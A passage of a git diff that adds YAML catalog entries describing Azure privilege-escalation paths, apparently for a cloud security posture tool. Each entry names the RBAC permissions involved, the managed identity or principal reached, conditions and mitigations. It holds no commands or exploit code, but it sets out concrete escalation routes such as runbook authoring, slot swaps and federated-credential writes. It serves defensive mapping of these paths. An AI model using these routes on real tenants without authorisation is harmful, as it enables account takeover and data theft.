https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/restore-from-backup-blob + - https://learn.microsoft.com/en-us/azure/app-service/manage-backup + notes: Bind restoreFromBackupBlob/action to the exact app carrying the identity. Azure documents backups for Basic, Standard, Premium and Isolated App Service plans; Functions backup support is limited to Dedicated. Free, Shared, Consumption, Flex and Elastic Premium plans do not establish this route. A modified backup may be invalid, and restoring a custom container's content may not change its running image. + +- id: azure-appservice-assign-user-assigned-identity + provider: azure + service: app_services + title: Attach a user-assigned identity to a controlled App Service + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsiteswrite-microsoftwebsitesread-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: Adding a user-assigned identity to an existing or creatable app where the source can run code may expose that identity's tokens. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Web/sites/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Web/sites + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_appservice_assignable_uami: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: app_runtime_and_code_execution + description: The source must be able to run or deploy code in the same inventoried app, or create an app on an inventoried joinable plan; runtime execution and token use remain conditional. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and Microsoft.Web/sites/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity + notes: Match the write and code path to one inventoried App Service. For a new app, require an inventoried resource group and same-subscription plan with serverfarms/join/action. Function code writes count only on Function Apps; host keys alone invoke existing functions and do not grant arbitrary code execution. + +- id: azure-appservice-slot-code-execution + provider: azure + service: app_services + title: Run code in a deployment slot + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesslotsconfigwrite--recycle-a-deployment-slot-into-attacker-code + source_revision: 171e422 + summary: A code-bearing publish, source control, SiteContainer or config permission on a slot may run code with that slot's own managed identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/slots/publish/action + - - action: Microsoft.Web/sites/slots/sourcecontrols/write + - - action: Microsoft.Web/sites/slots/sitecontainers/write + - - action: Microsoft.Web/sites/slots/config/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites/slots + azure_appservice_slot_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of deployment slot {target.host_resource}" + conditions: + - id: slot_code_deployment_and_execution + description: The selected route must deploy or start attacker code in the slot, and that code must access the slot's identity endpoint. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Treat slot permissions like production permissions and keep slot identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots + notes: Match each action to the exact slot carrying the identity. SiteContainer writes require Linux SiteContainers mode; config writes must target a code-bearing child. A slot master key alone invokes existing functions and is not evidence of arbitrary code execution. Slot swaps and production identities have separate techniques. + +- id: azure-appservice-slot-publishxml + provider: azure + service: app_services + title: Obtain slot publishing credentials and deploy into the slot + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesslotspublishxmlaction + source_revision: a66f094ede + summary: Reading publishing credentials for the exact slot may allow code deployment under that slot's managed identity when its SCM basic auth policy allows it. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/slots/publishxml/action + - - action: Microsoft.Web/sites/slots/config/list/action + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites/slots + azure_appservice_slot_publishing_credentials_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of deployment slot {target.host_resource}" + conditions: + - id: slot_scm_reachability_and_code_execution + description: The slot SCM endpoint must be reachable, accept the credentials and package, and run deployed code in the slot. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Disable basic auth on slots and restrict slots/publishxml/action. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-basic-auth-disable + notes: The selector requires slots/publishxml/action or slots/config/list/action on the exact identity slot and a collected slots/basicPublishingCredentialsPolicies/scm allow=true value. FTP policy alone does not authorize SCM deployment. A custom container's package execution remains unresolved. + +- id: azure-appservice-slot-swap-promote-code + provider: azure + service: app_services + title: Plant code in a deployment slot and swap it into production + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesslotsswapaction-promote-staged-code--steal-production-sticky-secrets + source_revision: 171e422 + summary: Code planted in a slot runs under the production site's managed identities after a swap, because identities stay with the site and are not swapped. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/slotsswap/action + - - action: Microsoft.Web/sites/slots/slotsswap/action + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_slot_swap_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of production site {target.host_resource}" + conditions: + - id: swap_not_gated + description: Swap with preview or deployment pipelines gating swaps can delay or surface the promotion. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict slotsswap/action to release automation and treat slot write permissions like production permissions. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots#which-settings-are-swapped + notes: The selector joins a code-bearing write and a swap action on the same inventoried slot of the production app. Site-level and slot-level swap operations are supported. Microsoft documents that managed identities are not swapped; promoted code uses the production identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/arc.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/arc.yaml new file mode 100644 index 0000000000..ff7b012028 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/arc.yaml @@ -0,0 +1,103 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Arc techniques (declarative only). +# Source: hacktricks-cloud az-arc-enabled-servers-privesc.md and az-arc-resource-bridge-privesc.md (rev 171e422). +# Arc-enabled servers support only a system-assigned identity; its token (HIMDS) is readable by +# local administrators / the himds group, which extensions running as SYSTEM/root are. +# Arc run commands are modelled in virtual_machines.yaml (azure-arc-machine-runcommands-write). + +- id: azure-arc-machine-extensions-write + provider: azure + service: arc + title: Deploy a Custom Script extension on an Arc-enabled server + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#rce--persistence-via-vm-extensions-custom-script + source_revision: 171e422 + summary: An extension the source deploys runs as SYSTEM/root on the Arc server, exposing the machine's system-assigned identity. + requires: + all_of: + - action: Microsoft.HybridCompute/machines/extensions/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + azure_arc_custom_script_code_path: true + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: custom_script_execution + description: The Custom Script extension must be installed or updated successfully and its script must run on the machine. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict machines/extensions/write and configure agent-side extension allow-lists. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/manage-vm-extensions + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/managed-identity-authentication + notes: The selector requires write permission on a creatable extension child or an existing Custom Script child of the exact identity machine, plus a connected agent in full mode with extensions enabled and Custom Script allowed by its reported local lists. Missing agent settings remain unresolved. + +- id: azure-arc-hybrid-connectivity-entra-ssh + provider: azure + service: arc + title: SSH into an Arc-enabled server as administrator through Hybrid Connectivity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#sshrdp-to-arc-machines-via-hybrid-connectivity + source_revision: 171e422 + summary: An administrator SSH session over the Arc relay can read the machine's HIMDS identity token. + requires: + all_of: + - action: Microsoft.HybridConnectivity/endpoints/listCredentials/action + - action: Microsoft.HybridCompute/machines/loginAsAdmin/action + data_action: true + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + azure_arc_entra_admin_ssh_path: true + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: arc_ssh_runtime_available + description: The agent and SSH daemon must be available, and local policy must permit the Entra administrator login. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Virtual Machine Administrator Login on Arc machines and Hybrid Connectivity listCredentials. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/ssh-arc-overview + notes: The selector requires listCredentials on the exact machine's default Hybrid Connectivity endpoint and loginAsAdmin on the machine, plus an inventoried SSH service configuration and successfully provisioned AADSSHLoginForLinux extension. A local-account credential route is not inferred from RBAC alone. + +- id: azure-arc-resource-bridge-credential-export + provider: azure + service: arc + title: Export Arc resource bridge appliance kubeconfig and keys + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#export-customer-kubeconfig-and-ssh-credentials + source_revision: 171e422 + summary: An appliance credential export may grant a specific, verified permission in the bridge's external management plane. + requires: + all_of: [] + any_of: + - - action: Microsoft.ResourceConnector/appliances/listKeys/action + - - action: Microsoft.ResourceConnector/appliances/listClusterUserCredential/action + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: arc_bridge_appliance + scope: inherited_scope + outcome: credentials + aggregate_as: "Verified appliance principals reached through {target.resource}" + conditions: + - id: exact_credential_authority + description: Reviewed evidence must identify a usable exported credential, the exact appliance and principal, and a newly allowed permission after authentication. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict appliances listKeys/listClusterUserCredential to bridge operators. + references: + - https://learn.microsoft.com/en-us/rest/api/resourceconnector/appliances + notes: Covers both customer and partner credential actions. The permission alone never implies cluster-admin, SSH access or Azure RBAC; only source-bound, fresh azure_external_principal_evidence showing a new specific permission creates an edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/arm.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/arm.yaml new file mode 100644 index 0000000000..fbbbab8889 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/arm.yaml @@ -0,0 +1,37 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Resource Manager deployment / template spec techniques (declarative only). +# Source: hacktricks-cloud az-arm-deployment-privesc.md, az-arm-template-spec-privesc.md (rev 171e422). + +- id: azure-arm-deploymentscript-with-user-assigned-identity + provider: azure + service: arm + title: Deployment script running as an assignable user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md#microsoftresourcesdeploymentscriptswrite + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities it can assign. + requires: + all_of: + - action: Microsoft.Resources/deploymentScripts/write + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_deployment_script_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: deployment_script_execution + description: The script and its support resources must be provisioned successfully so the code can run as the assigned identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: critical + mitigation: Restrict userAssignedIdentities/assign/action and deploymentScripts/write; use Azure Policy to restrict which identities deployment scripts may use. + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/deployment-script-template + notes: The selector joins exact deploymentScripts/write and UAMI assign/action rights to a creatable or inventoried script, checks the required storage/ACI permissions on support resources in its resource group, and requires containerGroups/delete when a retained support container is inventoried. Missing retained-container evidence remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml new file mode 100644 index 0000000000..82b6962972 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml @@ -0,0 +1,141 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure RBAC / authorization-plane privilege escalation techniques. +# Source: hacktricks-cloud az-authorization-privesc.md (rev 171e422; policy entries originally authored against 6bdd8e89e6). +# Conventions used across catalog/azure/*.yaml (see SCHEMA EXTENSIONS in the agent report): +# requirement scope "{target.scope}" -> the MG / subscription / RG / resource the target entity controls; +# the permission must be granted at that scope or an ancestor (RBAC inheritance). +# requirement scope "{target.id}" -> ARM id of the target user-assigned managed identity resource. +# requirement scope "{target.host_resource}" -> ARM id of the Azure resource the target managed identity is attached to. +# requirement scope "{pivot}" -> one resource of type `pivot_resource_type` (existing or newly created); +# every requirement using {pivot} must cover the SAME resource. +# data_action: true -> the action must be granted via DataActions (not Actions). + +- id: azure-authorization-elevateaccess-global-admin + provider: azure + service: authorization + title: Global Administrator elevates to User Access Administrator at root scope + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationelevateaccessaction + source_revision: e8f25bff43 + summary: A Global Administrator can grant itself User Access Administrator at root scope "/", gaining RBAC control over every management group and subscription in the tenant. + source_kind: azure_user + requires: + all_of: + - entra_role: Global Administrator + directory_scope: "dir:/" + target: + kind: azure_scope_owner + selector: + any_principal_in_scope: true + azure_root_scope_only: true + scope: tenant + aggregate_as: "Azure root scope (/) of the tenant" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Minimise Global Administrators, require PIM with approval, and alert on elevateAccess events and root-scope role assignments. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin + notes: Only users with an active tenant-wide Global Administrator assignment can call elevateAccess. PIM eligibility alone needs activation and is not an active grant. Elevation yields User Access Administrator at root scope; the source can then assign itself Owner. + +- id: azure-authorization-elevateaccess-pim-eligible-global-admin + provider: azure + service: authorization + title: Activate an eligible Global Administrator role and elevate Azure access + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationelevateaccessaction + source_revision: 171e422 + summary: A user eligible for tenant-wide Global Administrator can activate that role, then grant itself User Access Administrator at root scope. + source_kind: azure_user + requires: + all_of: + - entra_pim_eligible_role: "dir:62e90394-69f5-4237-9190-012177145e10" + directory_scope: "dir:/" + target: + kind: azure_scope_owner + selector: + any_principal_in_scope: true + azure_root_scope_only: true + scope: tenant + aggregate_as: "Azure root scope (/) of the tenant" + conditions: + - id: pim_activation_requirements + description: The user must satisfy any MFA, approval, or other PIM activation requirements before calling elevateAccess. + blockers: [] + confidence: conditional + severity: critical + mitigation: Require PIM approval for eligible Global Administrator assignments and monitor role activation and root-scope elevation. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-activate-role + notes: A current tenant-wide eligibility is required. Eligibility alone is a conditional path and never counts as an active Global Administrator grant. + +- id: azure-managedidentity-federated-credential-write + provider: azure + service: authorization + title: Add a federated identity credential to a user-assigned managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftmanagedidentityuserassignedidentitiesfederatedidentitycredentialswrite + source_revision: 171e422 + summary: The source can add a trust to an external IdP it controls and obtain tokens as the user-assigned managed identity. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_uami_fic_write_path: true + scope: inherited_scope + aggregate_as: "User-assigned managed identities in {scope}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict federatedIdentityCredentials/write (included in Managed Identity Contributor/Contributor/Owner) and alert on new FICs; consider an Azure Policy restricting allowed FIC issuers. + references: + - https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity + notes: Only user-assigned identities support FICs; system-assigned identities are not reachable this way. + +- id: azure-policy-assignment-write-user-assigned-identity + provider: azure + service: authorization + title: Create or update a deployIfNotExists/modify policy assignment running as an existing user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#policy-assignment-remediation-with-an-existing-user-assigned-identity + source_revision: 171e422 + summary: The source can obtain the Azure RBAC control-plane privileges of user-assigned managed identities on which it holds assign/action, by making them the remediation identity of a policy assignment whose custom definition it controls. + requires: + all_of: + - action: Microsoft.Authorization/policyAssignments/write + scope: '*' + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.Authorization/policyDefinitions/write + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_policy_assignment_identity_path: true + scope: any + aggregate_as: User-assigned identities usable by writable policy assignments + conditions: + - id: definition_visible_at_assignment + description: The writable custom deployIfNotExists definition must be at a subscription or management-group scope visible to the writable policy assignment. + - id: remediation_trigger + description: 'The deployment runs only after a remediation task or a create or update of a resource matching the policy assignment.' + - id: arm_control_plane_only + description: The gain is what an ARM template deployment can do with the identity's existing role assignments (Actions). DataActions are not exercised directly. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Grant userAssignedIdentities/assign/action (Managed Identity Operator) on privileged user-assigned identities only to their owners, and restrict policyAssignments/write plus policyDefinitions/write to policy administrators. + references: + - https://learn.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources#configure-the-managed-identity + - https://azure.github.io/enterprise-azure-policy-as-code/policy-assignments/ + notes: No roleAssignments/write is needed. The user-assigned identity keeps its existing role assignments; only the portal auto-grants roleDefinitionIds, and SDK or REST assignments do not. Using a user-assigned identity on a policy assignment needs Managed Identity Operator, which is userAssignedIdentities/assign/action on the identity (EPAC documentation and the ARM linked-access check). A new system-assigned identity has no roles unless the source can also create role assignments, which azure-authorization-roleassignments-write already covers. Repointing an existing assignment that has a system-assigned identity is not modelled, because it is not verified whether policyDefinitionId can change on update. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/automation.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/automation.yaml new file mode 100644 index 0000000000..ad5158a73d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/automation.yaml @@ -0,0 +1,166 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Automation account privilege escalation techniques. +# Source: hacktricks-cloud az-automation-accounts-privesc.md (rev 171e422). +# Placeholder conventions: see catalog/azure/authorization.yaml header. + +- id: azure-automation-runbook-author-and-run + provider: azure + service: automation + title: Create or modify a runbook and run it as the Automation account identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsjobswrite-microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsjobsoutputread-microsoftautomationautomationaccountsrunbookspublishaction-microsoftresourcessubscriptionsresourcegroupsread-microsoftautomationautomationaccountsrunbookswrite + source_revision: 171e422 + summary: The source runs arbitrary runbook code inside the Automation account sandbox and obtains tokens for the account's system- and user-assigned managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.Automation/automationAccounts/runbooks/write + scope: "*" + - - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Automation/automationAccounts + azure_automation_runbook_identity_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Automation account {target.host_resource}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Limit runbook authoring/publish/job permissions (Automation Contributor, Automation Operator + Runbook Operator, Contributor) and give the Automation account identity only the roles its runbooks need. + references: + - https://learn.microsoft.com/en-us/azure/automation/automation-role-based-access-control + - https://learn.microsoft.com/en-us/azure/automation/enable-managed-identity-for-automation + notes: The selector joins a complete create-and-run or exact existing-runbook publish/job or test-job route on the same inventoried Automation account carrying the identity. Grants limited to a named runbook are supported. Output-read permissions are only needed to read results and are not required for the gain. Credential and encrypted-variable assets are modelled separately (azure-automation-runbook-credential-assets); Hybrid Worker VM identities separately (azure-automation-runbook-hybrid-worker). + +- id: azure-automation-runbook-hybrid-worker + provider: azure + service: automation + title: Run runbook code on a Hybrid Runbook Worker VM and use the VM's managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#hybrid-workers-group + source_revision: a66f094ede + summary: Runbook jobs targeted at a Hybrid Worker group execute on the worker machine, so an Azure VM worker's managed identities become reachable through IMDS. + requires: + all_of: [] + any_of: + - - action: Microsoft.Automation/automationAccounts/runbooks/write + scope: "*" + - - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "*" + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_managed_identity + selector: + attached_to_service: + - Microsoft.Compute/virtualMachines + - Microsoft.HybridCompute/machines + azure_automation_hybrid_worker_path: true + scope: any + aggregate_as: "Managed identities of Hybrid Worker VMs / Arc machines of Automation account {pivot}" + conditions: + - id: worker_selection_and_identity_use + description: A job must execute on the linked VM within its Hybrid Worker group, and code must use an identity available on that host. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict runbook authoring on accounts with Hybrid Worker groups and do not attach privileged managed identities to worker VMs. + references: + - https://learn.microsoft.com/en-us/azure/automation/automation-hrw-run-runbooks + notes: The selector requires a complete runbook authoring and execution path on the exact Automation account with the linked worker. Worker-group scheduling and identity use remain conditional. Jobs run as SYSTEM or nxautomation on the worker. Arc-enabled server workers can expose the Arc machine identity when the Automation account has no managed identity. + +- id: azure-automation-assign-user-assigned-identity + provider: azure + service: automation + title: Attach a user-assigned managed identity to an Automation account and run code as it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: The source attaches any user-assigned identity it can assign to an Automation account it controls and then uses runbook code to obtain that identity's tokens. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Automation/automationAccounts/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_automation_assignable_uami: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict Microsoft.ManagedIdentity/userAssignedIdentities/assign/action (Managed Identity Operator, Contributor, Owner) to deployment principals and scope it to individual identities. + references: + - https://learn.microsoft.com/en-us/azure/automation/add-user-assigned-identity + notes: The selector joins exact UAMI assignment, Automation account write, and a complete create-runbook or existing-runbook execution route on the same account. A new account is conditional and requires an inventoried resource group. Missing account or runbook inventory stays unresolved. + +- id: azure-automation-job-output-credential + provider: azure + service: automation + title: Read a service principal credential from Automation job output + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#harvest-secrets-from-prior-job-output-and-streams + source_revision: 658a097d5c + summary: Read a verified usable service principal client secret from historical Automation job output and gain that principal's permissions. + requires: + all_of: [] + any_of: + - - action: Microsoft.Automation/automationAccounts/jobs/output/read + scope: '*' + - - action: Microsoft.Automation/automationAccounts/jobs/streams/read + scope: '*' + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates this edge; uncollected, partial, or unverified content creates no path. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/automation/manage-runbooks + notes: A known job name can be read with output/read or streams/read without jobs/read. Reviewed evidence must identify the exact job, returned content, and usable service-principal client secret; the selector checks the read action on that job. A short-lived audience-bound access token is not treated as full principal control. Missing or incomplete review creates no path. +- id: azure-automation-runbook-source-credential + provider: azure + service: automation + title: Read hardcoded credentials from runbook source + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#read-runbook-source-for-hardcoded-secrets + source_revision: 658a097d5c + summary: Read a verified usable credential from published Automation runbook source and gain its Entra service principal permissions. + requires: + all_of: + - action: Microsoft.Automation/automationAccounts/runbooks/content/read + scope: '*' + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates this edge; uncollected, partial, or unverified content creates no path. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/automation/manage-runbooks + notes: Reviewed azure_privesc_challenge_evidence must identify the exact published runbook, returned source, and usable credential mapped to a named Entra service principal. The selector checks content/read on that runbook, including a grant limited to the named runbook. Missing or incomplete review creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml new file mode 100644 index 0000000000..84b58030e8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml @@ -0,0 +1,96 @@ +# catalog_description: An AVS ARM action reaches an adjacent-plane principal only +# when unique reviewed evidence binds the exact private cloud, returned credential +# or successful grant, named subject, usable access, and newly allowed action. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-avs-list-vcenter-cloudadmin-external-principal + provider: azure + service: avs + title: Reach the named AVS vCenter CloudAdmin with a verified returned credential + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#cloudadmin--nsx-t-credential-disclosure-listadmincredentials + source_revision: 171e422 + summary: Reading AVS administrator credentials can reach the exact vCenter CloudAdmin only when a reviewed login proves that the returned credential grants a new vCenter action. + requires: + all_of: + - action: Microsoft.AVS/privateClouds/listAdminCredentials/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: vmware_vcenter + scope: inherited_scope + outcome: credentials + aggregate_as: Exact AVS vCenter CloudAdmin reached with reviewed credential + conditions: + - id: exact_vcenter_login_and_permission + description: Unique complete reviewed evidence must bind the returned vcenterUsername and vcenterPassword to this private cloud, successful authentication, prior source denial, and a newly allowed named vCenter action within the CloudAdmin role. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict listAdminCredentials/action and rotate exposed CloudAdmin credentials. + references: + - https://learn.microsoft.com/en-us/azure/azure-vmware/concepts-identity + notes: The azure_external_principal_evidence record must bind the returned vCenter username, password response, exact vCenter service, and a newly authorized vCenter privilege or UI action. A private-cloud resource proxy or plaintext password alone cannot create an edge. + +- id: azure-avs-list-nsxt-admin-external-principal + provider: azure + service: avs + title: Reach the named AVS NSX-T admin with a verified returned credential + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#cloudadmin--nsx-t-credential-disclosure-listadmincredentials + source_revision: 171e422 + summary: Reading AVS administrator credentials can reach the exact NSX-T admin only when a reviewed login proves that the returned credential grants a new NSX-T action. + requires: + all_of: + - action: Microsoft.AVS/privateClouds/listAdminCredentials/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: vmware_nsx + scope: inherited_scope + outcome: credentials + aggregate_as: Exact AVS NSX-T admin reached with reviewed credential + conditions: + - id: exact_nsxt_login_and_permission + description: Unique complete reviewed evidence must bind the returned nsxtUsername and nsxtPassword to this private cloud, successful authentication, prior source denial, and a newly allowed named NSX action within the Cloud Admin role. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict listAdminCredentials/action and rotate exposed NSX-T credentials. + references: + - https://learn.microsoft.com/en-us/azure/azure-vmware/concepts-identity + notes: The azure_external_principal_evidence record must name the exact NSX-T subject and resource; a private-cloud resource proxy or plaintext password alone cannot create an edge. + +- id: azure-avs-run-command-vcenter-grant-external-principal + provider: azure + service: avs + title: Gain a named vCenter identity through a verified AVS Run Command grant + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-identity-grants-without-reading-credentials-scriptexecutionswrite + source_revision: 171e422 + summary: An AVS Run Command cmdlet can grant a named vCenter account new access only when the chosen package and cmdlet succeed and a reviewed login proves the added permission. + requires: + all_of: + - action: Microsoft.AVS/privateClouds/scriptExecutions/write + scope: '*' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: vmware_vcenter + scope: inherited_scope + outcome: identity + aggregate_as: Exact vCenter identity granted by verified AVS Run Command + conditions: + - id: exact_cmdlet_subject_and_grant + description: Unique complete reviewed evidence must bind the executed identity cmdlet and granted group to a source-controlled member login, prior denial, successful grant, and newly allowed vCenter action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict AVS script execution and audit vCenter SSO identity sources and administrators. + references: 